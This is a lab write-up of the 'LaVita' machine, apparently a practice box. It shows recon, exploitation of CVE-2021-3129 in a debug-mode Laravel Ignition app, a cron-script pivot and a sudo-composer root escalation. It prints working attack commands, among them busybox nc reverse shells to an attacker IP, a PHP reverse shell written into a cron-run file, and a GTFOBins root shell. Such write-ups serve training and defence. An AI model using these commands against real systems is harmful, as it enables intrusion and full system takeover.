LaVita
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. LaVita exposes a Laravel 8.4.0 app with debug mode on. Ignition drags the CVE-2021-3129, an unauthenticated RCE that lands us aswww-data(Laravel Ignition (CVE-2021-3129)).pspyreveals a cron runningphp artisanas userskunk; theartisanfile is writable bywww-data, so we overwrite it with a reverse shell and pivot (cron over a writable script).skunkcan runcomposervia passwordlesssudo, and the GTFOBins trick gives us root (GTFOBins: sudo).
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Two open ports:
ping -c 1 192.168.149.38
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.149.38PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.149.38 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS TemplateWeb - TCP 80
A dirsearch on port 80 finds typical Laravel routes: /login, /register, /home (redirects to /login) and, above all, /_ignition/execute-solution, the Ignition debugger endpoint:
dirsearch -u http://192.168.149.38/ -t 200 --exclude-status=404,403,503[11:25:18] 405 - /_ignition/execute-solution
[11:25:31] 302 - /home -> http://192.168.149.38/login
[11:25:32] 301 - /images
[11:25:34] 200 - /login
[11:25:41] 200 - /register
[11:25:41] 200 - /robots.txt
[11:25:48] 200 - /web.configThe app allows registration, so we create an account at /register:

Once in, the panel is a "Dashboard Testing Area" with a telling detail: a button that turns on the application's own debug mode (APP_DEBUG), which defaults to [DISABLED]:

We click Enable and APP_DEBUG flips to [ENABLED]. That is the switch that opens the door: the CVE we are after requires debug mode on, and the site itself hands it to us:

With debug on, forcing a 404 shows the Ignition error screen, which reveals the framework version, Laravel 8.4.0:

Laravel 8.4.0: vulnerability identification
A search by version links Laravel 8.4.x to CVE-2021-3129:

Laravel <= 8.4.2 with Ignition < 2.5.2 and APP_DEBUG=true is vulnerable to CVE-2021-3129: the CVE page confirms it ("Ignition before 2.5.2... exploitable on sites using debug mode with Laravel before 8.4.2"). The /_ignition/execute-solution endpoint lets an unauthenticated attacker run arbitrary code:

Searching for a PoC turns up knqyf263's exploit:

Exploitation
CVE-2021-3129: RCE in Ignition
The flaw lies in how Ignition processes the "solutions" it offers the developer: by tampering with Laravel's log file (log poisoning) and chaining a deserialization gadget (phpggc, monolog_rce) command execution is achieved (Laravel Ignition (CVE-2021-3129)). We use knqyf263's exploit, which automates the log poisoning and the solution trigger. First we prove the RCE by reading /etc/passwd:
git clone https://github.com/knqyf263/CVE-2021-3129
# In exploit.py: Exploit("http://192.168.149.38/", "cat /etc/passwd")
python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[i] PHPGGC not found. Cloning it
[*] Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...The exploit clones phpggc, builds the monolog_rce1 gadget and returns the victim's /etc/passwd: RCE is confirmed. With execution confirmed, we swap the command for a busybox reverse shell. We keep Penelope listening on 22:
penelope 22Then we run the exploit again to fire it:
# In exploit.py: Exploit("http://192.168.149.38/", "busybox nc 192.168.45.238 22 -e bash")
python3 exploit.py
(Penelope)> listeners add -p 22
[+] Got reverse shell from debian~192.168.149.38-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
bash-5.1$ whoami
www-dataThe shell runs as www-data.
Post-exploitation
Pivot to skunk: cron over a writable artisan
www-data lacks the user flag. We upload pspy (repo) to watch periodic processes without needing to read /etc/crontab (cron over a writable script). We serve it from Kali:
locate pspy64
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 8080
$ locate pspy64
/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/home/krmena/vulnhub/symfonos3/exploits/pspy/pspy64
/machines/expressway/exploits/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.149.38 - - [29/Jan/2026 20:26:49] "GET /pspy64 HTTP/1.1" 200 -wget http://192.168.45.238:8080/pspy64 && chmod +x pspy64
./pspy64CMD: UID=1001 PID=16607 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
CMD: UID=1001 PID=16626 | rm -Rf /var/www/html/lavita/public/images/*A cron runs php artisan as UID 1001. We check who that UID is and the artisan permissions:
id 1001
ls -l /var/www/html/lavita/artisanuid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
-rwxr-xr-x 1 www-data www-data 1686 Jan 29 17:05 /var/www/html/lavita/artisanThe key: artisan belongs to www-data, our current user, so we can rewrite it. The cron will run it as skunk. We leave an nc listening on 22:
nc -nlvp 22We replace its contents with a PHP reverse shell and wait for the next cron cycle:
echo '<?php system("busybox nc 192.168.45.238 22 -e bash");?>' > /var/www/html/lavita/artisan
listening on [any] 22 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.149.38] 59954
whoami
skunk
skunk@debian:~$On the next cron cycle the nc catches the connection and whoami returns skunk.
Local
cat local.txt && whoami && hostname && ip a
764fe587c53452a51b1dc065d222a0a9
skunkPrivilege escalation
passwordless sudo composer
skunk (also a member of the sudo group) has a specific, passwordless sudo entry:
sudo -l
User skunk may run the following commands on debian:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *Besides the (ALL : ALL) ALL (which would ask for skunk's password, which we don't have), the passwordless line is the composer one. composer is in GTFOBins: it defines scripts in composer.json run through run-script:

Since the allowed command points at --working-dir=/var/www/html/lavita and takes extra arguments (*), we drop a composer.json with a script that launches /bin/sh and invoke it via sudo (GTFOBins: sudo):
echo '{"scripts":{"x":"/bin/sh"}}' > /var/www/html/lavita/composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
skunk@debian:~$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
> /bin/sh
# whoami
rootComposer warns it should not run as root and asks for confirmation; we answer yes and the x script starts /bin/sh as root.
Root
cat /root/proof.txt && whoami && ip a && hostname
dc8ec04b85c356de4e3c9b65438048ec
rootAttack chain
HTTP (80) -- Laravel 8.4.0 with APP_DEBUG=true
│ CVE-2021-3129: Ignition RCE (log poisoning + monolog_rce)
▼
www-data
│ pspy: cron runs php artisan as skunk (UID 1001)
│ artisan writable by www-data -> reverse shell
▼
skunk (local.txt) [sudo group]
│ sudo NOPASSWD composer --working-dir -> run-script /bin/sh
▼
root (proof.txt)Lessons learned
APP_DEBUG=truein production is an open door. Ignition is a development tool; with debug mode on and a vulnerable version, CVE-2021-3129 turns the error page into an unauthenticated RCE. In production,APP_DEBUGmust befalse.pspysees what the user cannot read. With no access to/etc/crontab,pspyshowed a cron runningartisanas another user. Watching processes from below is as useful as reading config files.- A writable cron script is a direct pivot. That
artisanwas owned bywww-datayet run asskunkwas enough to jump between users. Files a cron executes must never be writable by a lower-privileged account. sudoon composer (or any binary with scripts) is root. GTFOBins lists dozens of binaries that, undersudo, run arbitrary commands. ANOPASSWDentry on one of them is equivalent to handing over the root password.